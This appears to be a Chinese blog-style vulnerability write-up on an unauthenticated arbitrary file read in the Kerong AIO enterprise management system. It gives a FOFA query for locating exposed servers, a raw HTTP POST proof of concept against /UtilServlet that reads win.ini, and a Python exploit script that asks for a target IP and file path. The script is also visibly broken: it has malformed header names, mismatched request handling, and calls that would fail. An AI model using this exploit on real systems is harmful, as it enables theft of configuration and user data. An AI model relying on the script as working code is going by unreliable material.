声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
一、产品介绍
科荣AIO公司服务软件企业一体化管理解决方案,通过ERP(进销存财务)、OA(办公自动化)、CRM(客户关系管理)、UDP(自定义平台),集电子商务平台、支付平台、ERP平台、微信平台、移动APP等解决了众多企业客户在管理过程中跨部门、多功能、需求多变等通用及个性化的问题。
二、漏洞概述
科荣AIO管理系统存在文件读取漏洞,攻击者可以通过未经授权的访问,构造恶意请求并读取系统中的敏感文件。该漏洞可能导致泄露配置信息、用户数据等敏感信息,为确保系统安全,建议尽快修复漏洞,实施有效的输入验证和访问控制机制。
三、fofa语法
body="changeAccount('8000')"
四、漏洞复现
写入poc
poc
POST /UtilServlet HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
sec-ch-ua-mobile: ?0
Cache-Control: no-cache
Pragma: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
operation=readErrorExcel&fileName=C:\windows/win.ini
exp
import base64
import requests
def poc(ip, file_path):
# 构造URL地址
url = f'http://{ip}/UtilServlet'
headers = {
'Upgrade - Insecure - Requests': '1',
'sec - ch - ua - mobile': '?0',
'Cache - Control': 'no - cache',
'Pragma': 'no - cache',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept - Encoding': 'gzip, deflate',
'Content - Type': 'application / x - www - form - urlencoded',
'sec - ch - ua': '"Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"',
'sec - ch - ua - platform': '"Windows"',
'Accept - Language': 'zh-CN,zh;q=0.9',
'User - Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',
'Content - Length': '0'
}
data = {
f'operation=readErrorExcel&fileName={file_path}'
}
print(url,data)
try:
response = requests.get(url=url, headers=headers, data=data)
byte_data = response.encode(encoding='utf-8')
response = base64.b64encode(byte_data)
print(response)
if response.status_code == 200 :
print(f' {ip} 存在科荣 AIO 管理系统任意文件读取漏洞!!!')
print(response.text)
except Exception as e:
print(f'{ip} 请求失败:{e}')
pass
if __name__ == '__main__':
ip = input('请输入目标主机IP地址:')
file_path = input('请输入需要访问的文件路径:')
poc(ip, file_path)